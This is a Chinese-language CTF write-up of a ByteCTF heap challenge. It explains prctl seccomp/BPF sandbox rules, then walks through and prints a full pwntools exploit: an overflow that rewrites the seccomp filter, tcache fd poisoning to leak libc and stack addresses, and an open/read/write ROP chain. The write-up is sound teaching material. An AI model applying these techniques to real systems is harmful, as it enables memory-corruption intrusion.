[关闭]
@H4l0 2019-09-10T16:50:15.000000Z 字数 12281 阅读 2556

一道 CTF 题目看 prctl 函数的沙箱过滤规则

CTF


前言

bytectf 的一道堆题,涉及到 prctl 函数,之前没有接触过,借这个机会学习一下。

checksec

环境:glibc 2.27

功能分析

照旧将程序加载进入 IDA,分析程序的逻辑。

add 函数

这个函数比较简单,直接返回一个 malloc(0x50) 大小的堆块指针。

  1. void __fastcall add(unsigned int a1)
  2. {
  3. if ( a1 <= 0xF )
  4. {
  5. note_list[a1] = malloc(0x50uLL);
  6. puts("Done!\n");
  7. }
  8. }

delete 函数

del 函数也是一样简单,直接 free 掉堆块后置空指针,不存在 UAF 漏洞。

  1. int __fastcall del(unsigned int a1)
  2. {
  3. int result; // eax
  4. if ( a1 <= 0xF )
  5. {
  6. free(note_list[a1]);
  7. note_list[a1] = 0LL;
  8. result = puts("Done!\n");
  9. }
  10. return result;
  11. }

edit 函数

在 edit 函数中,size 的值可控,所以这里存在一个溢出。但是这个溢出是有条件的

  1. unsigned __int64 __fastcall edit(unsigned int a1)
  2. {
  3. int v2; // [rsp+14h] [rbp-Ch]
  4. unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  5. v3 = __readfsqword(0x28u);
  6. if ( a1 <= 0xF && note_list[a1] )
  7. {
  8. printf("Size: ");
  9. __isoc99_scanf("%u", &v2);
  10. printf("Content: ", &v2);
  11. get_input(note_list[a1], v2); // overflow
  12. puts("Done!\n");
  13. }
  14. return __readfsqword(0x28u) ^ v3;
  15. }

跟进 get_input 函数,这里需要 0x4040E0 这个地址需要有值,但是这个地方默认是 0。除非找到一处任意地址写或者溢出,否则这个堆块就会根据输入的 size 值的大小,填充一大堆的任意值。

  1. ssize_t __fastcall get_input(void *a1, int a2)
  2. {
  3. int fd; // [rsp+1Ch] [rbp-4h]
  4. if ( dword_4040E0 )
  5. return read(0, a1, a2);
  6. fd = open("/dev/urandom", 0);
  7. if ( fd == -1 )
  8. exit(0);
  9. return read(fd, a1, a2);
  10. }

become_vip 函数

这个函数定义了一大堆的变量,一开始没看懂这个是干啥的,后来发现是用来定义结构体变量的。

  1. unsigned __int64 vip()
  2. {
  3. __int16 v1; // [rsp+0h] [rbp-90h]
  4. char *v2; // [rsp+8h] [rbp-88h]
  5. char buf; // [rsp+10h] [rbp-80h]
  6. char v4; // [rsp+30h] [rbp-60h]
  7. char v5; // [rsp+31h] [rbp-5Fh]
  8. char v6; // [rsp+32h] [rbp-5Eh]
  9. char v7; // [rsp+33h] [rbp-5Dh]
  10. char v8; // [rsp+34h] [rbp-5Ch]
  11. char v9; // [rsp+35h] [rbp-5Bh]
  12. char v10; // [rsp+36h] [rbp-5Ah]
  13. char v11; // [rsp+37h] [rbp-59h]
  14. char v12; // [rsp+38h] [rbp-58h]
  15. char v13; // [rsp+39h] [rbp-57h]
  16. char v14; // [rsp+3Ah] [rbp-56h]
  17. char v15; // [rsp+3Bh] [rbp-55h]
  18. char v16; // [rsp+3Ch] [rbp-54h]
  19. char v17; // [rsp+3Dh] [rbp-53h]
  20. char v18; // [rsp+3Eh] [rbp-52h]
  21. char v19; // [rsp+3Fh] [rbp-51h]
  22. char v20; // [rsp+40h] [rbp-50h]
  23. char v21; // [rsp+41h] [rbp-4Fh]
  24. char v22; // [rsp+42h] [rbp-4Eh]
  25. char v23; // [rsp+43h] [rbp-4Dh]
  26. char v24; // [rsp+44h] [rbp-4Ch]
  27. char v25; // [rsp+45h] [rbp-4Bh]
  28. char v26; // [rsp+46h] [rbp-4Ah]
  29. char v27; // [rsp+47h] [rbp-49h]
  30. char v28; // [rsp+48h] [rbp-48h]
  31. char v29; // [rsp+49h] [rbp-47h]
  32. char v30; // [rsp+4Ah] [rbp-46h]
  33. char v31; // [rsp+4Bh] [rbp-45h]
  34. char v32; // [rsp+4Ch] [rbp-44h]
  35. char v33; // [rsp+4Dh] [rbp-43h]
  36. char v34; // [rsp+4Eh] [rbp-42h]
  37. char v35; // [rsp+4Fh] [rbp-41h]
  38. char v36; // [rsp+50h] [rbp-40h]
  39. char v37; // [rsp+51h] [rbp-3Fh]
  40. char v38; // [rsp+52h] [rbp-3Eh]
  41. char v39; // [rsp+53h] [rbp-3Dh]
  42. char v40; // [rsp+54h] [rbp-3Ch]
  43. char v41; // [rsp+55h] [rbp-3Bh]
  44. char v42; // [rsp+56h] [rbp-3Ah]
  45. char v43; // [rsp+57h] [rbp-39h]
  46. char v44; // [rsp+58h] [rbp-38h]
  47. char v45; // [rsp+59h] [rbp-37h]
  48. char v46; // [rsp+5Ah] [rbp-36h]
  49. char v47; // [rsp+5Bh] [rbp-35h]
  50. char v48; // [rsp+5Ch] [rbp-34h]
  51. char v49; // [rsp+5Dh] [rbp-33h]
  52. char v50; // [rsp+5Eh] [rbp-32h]
  53. char v51; // [rsp+5Fh] [rbp-31h]
  54. char v52; // [rsp+60h] [rbp-30h]
  55. char v53; // [rsp+61h] [rbp-2Fh]
  56. char v54; // [rsp+62h] [rbp-2Eh]
  57. char v55; // [rsp+63h] [rbp-2Dh]
  58. char v56; // [rsp+64h] [rbp-2Ch]
  59. char v57; // [rsp+65h] [rbp-2Bh]
  60. char v58; // [rsp+66h] [rbp-2Ah]
  61. char v59; // [rsp+67h] [rbp-29h]
  62. char v60; // [rsp+68h] [rbp-28h]
  63. char v61; // [rsp+69h] [rbp-27h]
  64. char v62; // [rsp+6Ah] [rbp-26h]
  65. char v63; // [rsp+6Bh] [rbp-25h]
  66. char v64; // [rsp+6Ch] [rbp-24h]
  67. char v65; // [rsp+6Dh] [rbp-23h]
  68. char v66; // [rsp+6Eh] [rbp-22h]
  69. char v67; // [rsp+6Fh] [rbp-21h]
  70. char v68; // [rsp+70h] [rbp-20h]
  71. char v69; // [rsp+71h] [rbp-1Fh]
  72. char v70; // [rsp+72h] [rbp-1Eh]
  73. char v71; // [rsp+73h] [rbp-1Dh]
  74. char v72; // [rsp+74h] [rbp-1Ch]
  75. char v73; // [rsp+75h] [rbp-1Bh]
  76. char v74; // [rsp+76h] [rbp-1Ah]
  77. char v75; // [rsp+77h] [rbp-19h]
  78. char v76; // [rsp+78h] [rbp-18h]
  79. char v77; // [rsp+79h] [rbp-17h]
  80. char v78; // [rsp+7Ah] [rbp-16h]
  81. char v79; // [rsp+7Bh] [rbp-15h]
  82. char v80; // [rsp+7Ch] [rbp-14h]
  83. char v81; // [rsp+7Dh] [rbp-13h]
  84. char v82; // [rsp+7Eh] [rbp-12h]
  85. char v83; // [rsp+7Fh] [rbp-11h]
  86. char v84; // [rsp+80h] [rbp-10h]
  87. char v85; // [rsp+81h] [rbp-Fh]
  88. char v86; // [rsp+82h] [rbp-Eh]
  89. char v87; // [rsp+83h] [rbp-Dh]
  90. char v88; // [rsp+84h] [rbp-Ch]
  91. char v89; // [rsp+85h] [rbp-Bh]
  92. char v90; // [rsp+86h] [rbp-Ah]
  93. char v91; // [rsp+87h] [rbp-9h]
  94. unsigned __int64 v92; // [rsp+88h] [rbp-8h]
  95. v92 = __readfsqword(0x28u);
  96. puts("OK, but before you become vip, please tell us your name: ");
  97. v4 = 32;
  98. v5 = 0;
  99. v6 = 0;
  100. v7 = 0;
  101. v8 = 4;
  102. v9 = 0;
  103. v10 = 0;
  104. v11 = 0;
  105. v12 = 21;
  106. v13 = 0;
  107. v14 = 0;
  108. v15 = 8;
  109. v16 = 62;
  110. v17 = 0;
  111. v18 = 0;
  112. v19 = -64;
  113. v20 = 32;
  114. v21 = 0;
  115. v22 = 0;
  116. v23 = 0;
  117. v24 = 0;
  118. v25 = 0;
  119. v26 = 0;
  120. v27 = 0;
  121. v28 = 53;
  122. v29 = 0;
  123. v30 = 6;
  124. v31 = 0;
  125. v32 = 0;
  126. v33 = 0;
  127. v34 = 0;
  128. v35 = 64;
  129. v36 = 21;
  130. v37 = 0;
  131. v38 = 4;
  132. v39 = 0;
  133. v40 = 1;
  134. v41 = 0;
  135. v42 = 0;
  136. v43 = 0;
  137. v44 = 21;
  138. v45 = 0;
  139. v46 = 3;
  140. v47 = 0;
  141. v48 = 0;
  142. v49 = 0;
  143. v50 = 0;
  144. v51 = 0;
  145. v52 = 21;
  146. v53 = 0;
  147. v54 = 2;
  148. v55 = 0;
  149. v56 = 2;
  150. v57 = 0;
  151. v58 = 0;
  152. v59 = 0;
  153. v60 = 21;
  154. v61 = 0;
  155. v62 = 1;
  156. v63 = 0;
  157. v64 = 60;
  158. v65 = 0;
  159. v66 = 0;
  160. v67 = 0;
  161. v68 = 6;
  162. v69 = 0;
  163. v70 = 0;
  164. v71 = 0;
  165. v72 = 5;
  166. v73 = 0;
  167. v74 = 5;
  168. v75 = 0;
  169. v76 = 6;
  170. v77 = 0;
  171. v78 = 0;
  172. v79 = 0;
  173. v80 = 0;
  174. v81 = 0;
  175. v82 = -1;
  176. v83 = 127;
  177. v84 = 6;
  178. v85 = 0;
  179. v86 = 0;
  180. v87 = 0;
  181. v88 = 0;
  182. v89 = 0;
  183. v90 = 0;
  184. v91 = 0;
  185. read(0, &buf, 0x50uLL);
  186. printf("Hello, %s\n", &buf);
  187. v1 = 11;
  188. v2 = &v4;
  189. if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4) < 0 )
  190. {
  191. perror("prctl(PR_SET_NO_NEW_PRIVS)");
  192. exit(2);
  193. }
  194. if ( prctl(22, 2LL, &v1) < 0 )
  195. {
  196. perror("prctl(PR_SET_SECCOMP)");
  197. exit(2);
  198. }
  199. return __readfsqword(0x28u) ^ v92;
  200. }

函数分析

开始先是使用 read 函数读取了 0x50 字节大小的数据到栈上:read(0, &buf, 0x50uLL);,仔细看这里其实是溢出了,可以覆盖到下面的一些变量:

  1. char buf; // [rsp+10h] [rbp-80h] // buf 大小为 32 字节
  2. char v4; // [rsp+30h] [rbp-60h]
  3. char v5; // [rsp+31h] [rbp-5Fh]
  4. ...

接着调用了 prctl 函数,没了解过这个函数,因此本文的重点就是着重来分析一下这个函数的用法。

  1. v1 = 11;
  2. v2 = &v4;
  3. if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4){
  4. ...
  5. }
  6. ...
  7. if ( prctl(22, 2LL, &v1) < 0 ){
  8. ...
  9. }

prctl 函数

先查看一下 man 手册关于 prctl 函数的介绍:

operations on a process
prctl() is called with a first argument describing what to do (with values defined in ), and further arguments with a significance depending on the first one. The first argument can be:

函数原型:

  1. #include <sys/prctl.h>
  2. int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

第一个参数是指定相应的操作,在手册上有特别多的选项,这里我们需要重点关注两个:

  1. 1. PR_SET_NO_NEW_PRIVS
  2. 2. PR_SET_SECCOMP

继续看手册上的介绍,对于第一个参数选项:

  1. Set the calling threads no_new_privs attribute to the value in arg2. With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything that could not have been done without the execve(2) call (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-functional).
  2. Once set, this the no_new_privs attribute cannot be unset. The setting of this attribute is inherited by children created by fork(2) and clone(2), and preserved across execve(2).

简单的说就是如果 option 设置为 PR_SET_NO_NEW_PRIVS 的话,第二个参数如果设置为 1 的话,不能够进行 execve 的系统调用,同时这个选项还会继承给子进程

这里也就是调用下面的语句进行设置:

  1. prctl(PR_SET_NO_NEW_PRIVS, 1LL, 0LL, 0LL, 0LL);

在 xx 中找到 PR_SET_NO_NEW_PRIVS 常量对应的数值,正好是 38

接着看第二个options PR_SET_SECCOMP

  1. Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.

设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数:

  1. SECCOMP_MODE_STRICT
  2. the only system calls that the thread is permitted to make are read(2), write(2),_exit(2) (but not exit_group(2)), and sigreturn(2).
  3. SECCOMP_MODE_FILTER (since Linux 3.5):
  4. the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3. This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments.

这里如果设置了 SECCOMP_MODE_STRICT 模式的话,系统调用只能使用 read, write,_exit 这三个。

如果设置了 SECCOMP_MODE_FILTER 的话,系统调用规则就可以被 Berkeley Packet Filter(BPF) 规则所定义,这玩意就是这里最最重点的东西了。

BPF 规则介绍

来看看百度百科上的解释:

image.png-46.5kB

看解释可以知道这是一种网络数据包传输过滤的一种规则,那个怎么会用在 C 语言的 prctl 函数中呢?大佬的解释是这样的:

image.png-20.4kB

那这样的话就需要了解 BPF 的沙箱解释规则了,这篇文章写的还不错

总结起来就下面的一些点:

  1. 结构赋值操作指令为:BPF_STMT、BPF_JUMP

对于这题,构造的沙箱规则为:

  1. struct sock_filter filter[] = {
  2. BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 从第0个字节开始,传送8个字节
  3. BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0), // 比较是否为257,是就跳到第5行
  4. BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0), // 比较是否大于 0,是就跳到第6行
  5. BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO),
  6. BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
  7. };

相应的转换为 16 进制格式为:

  1. \\\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x01\\x00\\x01\\x01\\x00\\x005\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\xff\\x7f'

image.png-15.3kB

解题步骤

根据上面的分析,我们在 become_vip 函数中设置 prctl 函数的沙箱规则,使得 open 函数返回值为 0 之后,我们就可以控制溢出的数据

构造两个堆块,将后一个堆块 free 之后,从第一个堆块溢出到第二个的 fd 指针(注意是 2.27 的环境),就能够达到任意地址读写的目的。我们无法调用 system 函数,但是可以使用 ROP 来进行系统调用,这里我们就用任意地址写,将 payload 直接写到返回地址上。

构造沙箱规则

filter1 总共 40 个字节,可能也是出题人精心设计的。

  1. filter1 = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x01\\x00\\x01\\x01\\x00\\x005\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\xff\\x7f''
  2. sh.sendlineafter('choice: ', '6')
  3. sh.sendafter('name: ', 'a' * 32 + filter1)

泄露 libc、栈地址

这个不多说,控制 fd 指针、使用 show 功能泄露地址。

  1. delete(2)
  2. delete(1)
  3. edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
  4. alloc(1)
  5. alloc(2)
  6. show(2)
  7. result = sh.recvuntil('\n', drop=True)
  8. libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
  9. log.success('libc_addr: ' + hex(libc_addr))
  10. delete(3)
  11. delete(1)
  12. edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
  13. alloc(1)
  14. alloc(2)
  15. show(2)

经过调试可以发现 environ 变量的地址减去 0xf8 的地方就是 main 函数 rbp 的地址

构造 ROP 链

调用的顺序为:

  1. fd = open('flag',0) --> read(fd,buf,0x100) --> write(1,buf,0x100) --> exit()

ROP 地址使用 ROPgadget 就可以找到,这里注意的是在使用 syscall 的时候,调用号是存放在 eax 寄存器中,别的参数就和 64 位下的寄存器传参顺序一致。在 amd64 中,系统调用号可以在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 中找到。

  1. layout = [
  2. "flag\x00\x00\x00\x00", # ret
  3. 0x0000000000401016, # ret
  4. 0x0000000000401016, # ret
  5. 0x0000000000401016, # ret
  6. 0x00000000004018fb, # : pop rdi ; ret
  7. stack_addr - 0xf8,
  8. 0x00000000004018f9, # : pop rsi ; pop r15 ; ret
  9. 0,
  10. 0,
  11. libc_addr + 0x00000000000439c8, # : pop rax ; ret
  12. 2, # sys_open
  13. libc_addr + 0x00000000000d2975, # : syscall ; ret
  14. 0x00000000004018fb, # : pop rdi ; ret
  15. 3,
  16. 0x00000000004018f9, # : pop rsi ; pop r15 ; ret
  17. 0x404800,
  18. 0,
  19. libc_addr + 0x0000000000001b96, # : pop rdx ; ret
  20. 0x100,
  21. elf.plt['read'],
  22. 0x00000000004018fb, # pop rdi
  23. 1,
  24. 0x00000000004018f9, # pop rsi
  25. 0x404800,
  26. 0,
  27. libc_addr + 0x0000000000001b96, # pop rdx
  28. 0x50,
  29. libc_addr + 0x00000000000439c8, # pop eax
  30. 1,
  31. libc_addr + 0x00000000000d2975, #syscall
  32. elf.plt['exit']
  33. ]

send payload

在 main 函数退出时就会触发 exp,经过 ROP 之后就会输出 flag。

  1. edit(2,0x100,flat(layout).ljust(0x100,"\x00"))
  2. sh.sendlineafter('choice: ', '5')

Exploit

附上 Ex 师傅的 exp,这里改动了一点点:

  1. # 考点:绕过 prctl 沙箱规则,栈上 ROP 的 syscall 调用
  2. #!/usr/bin/python2
  3. # -*- coding:utf-8 -*-
  4. from pwn import *
  5. import os
  6. import struct
  7. import random
  8. import time
  9. import sys
  10. import signal
  11. salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
  12. def clear(signum=None, stack=None):
  13. print('Strip all debugging information')
  14. os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
  15. exit(0)
  16. for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
  17. signal.signal(sig, clear)
  18. context.arch = 'amd64'
  19. execve_file = './vip'
  20. # sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
  21. # sh = process(execve_file)
  22. sh = process('./vip')
  23. print pidof(sh)
  24. elf = ELF(execve_file)
  25. # libc = ELF('./libc-2.27.so')
  26. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  27. try:
  28. gdbscript = '''
  29. b *0x401898
  30. '''
  31. f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
  32. f.write(str(proc.pidof(sh)[0]))
  33. f.close()
  34. f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
  35. f.write(gdbscript)
  36. f.close()
  37. except Exception as e:
  38. print(e)
  39. def alloc(index):
  40. sh.sendlineafter('choice: ', '1')
  41. sh.sendlineafter('Index: ', str(index))
  42. def edit(index, size, content):
  43. sh.sendlineafter('choice: ', '4')
  44. sh.sendlineafter('Index: ', str(index))
  45. sh.sendlineafter('Size: ', str(size))
  46. sh.sendafter('Content: ', content)
  47. def delete(index):
  48. sh.sendlineafter('choice: ', '3')
  49. sh.sendlineafter('Index: ', str(index))
  50. def show(index):
  51. sh.sendlineafter('choice: ', '2')
  52. sh.sendlineafter('Index: ', str(index))
  53. filter1 = ' \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x005\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f'
  54. sh.sendlineafter('choice: ', '6')
  55. sh.sendafter('name: ', 'a' * 32 + filter1)
  56. for i in range(5):
  57. alloc(i)
  58. delete(2)
  59. delete(1)
  60. edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.symbols['stderr']))
  61. alloc(1)
  62. alloc(2)
  63. show(2)
  64. result = sh.recvuntil('\n', drop=True)
  65. libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['_IO_2_1_stderr_']
  66. log.success('libc_addr: ' + hex(libc_addr))
  67. delete(3)
  68. delete(1)
  69. edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(libc_addr + libc.symbols['environ']))
  70. alloc(1)
  71. alloc(2)
  72. show(2)
  73. result = sh.recvuntil('\n', drop=True)
  74. stack_addr = u64(result.ljust(8, '\0'))
  75. success("stack_addr: " + hex(stack_addr))
  76. delete(4)
  77. delete(1)
  78. edit(0, 0x100, 'a' * 0x50 + p64(0) + p64(0x61) + p64(stack_addr - 0xf8))
  79. alloc(1)
  80. alloc(2)
  81. layout = [
  82. "flag\x00\x00\x00\x00", # ret
  83. 0x0000000000401016, # ret
  84. 0x0000000000401016, # ret
  85. 0x0000000000401016, # ret
  86. 0x00000000004018fb, # : pop rdi ; ret
  87. stack_addr - 0xf8,
  88. 0x00000000004018f9, # : pop rsi ; pop r15 ; ret
  89. 0,
  90. 0,
  91. libc_addr + 0x00000000000439c8, # : pop rax ; ret
  92. 2, # sys_open
  93. libc_addr + 0x00000000000d2975, # : syscall ; ret
  94. 0x00000000004018fb, # : pop rdi ; ret
  95. 3,
  96. 0x00000000004018f9, # : pop rsi ; pop r15 ; ret
  97. 0x404800,
  98. 0,
  99. libc_addr + 0x0000000000001b96, # : pop rdx ; ret
  100. 0x100,
  101. elf.plt['read'],
  102. #0x00000000004018fb, # pop rdi ; ret
  103. #0x404800,
  104. #elf.plt['puts'],
  105. 0x00000000004018fb, # pop rdi
  106. 1,
  107. 0x00000000004018f9, # pop rsi
  108. 0x404800,
  109. 0,
  110. libc_addr + 0x0000000000001b96, # pop rdx
  111. 0x50,
  112. libc_addr + 0x00000000000439c8, # pop eax
  113. 1,
  114. libc_addr + 0x00000000000d2975, #syscall
  115. elf.plt['exit']
  116. ]
  117. edit(2,0x100,flat(layout).ljust(0x100,"\x00"))
  118. sh.sendlineafter('choice: ', '5')
  119. sh.interactive()
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注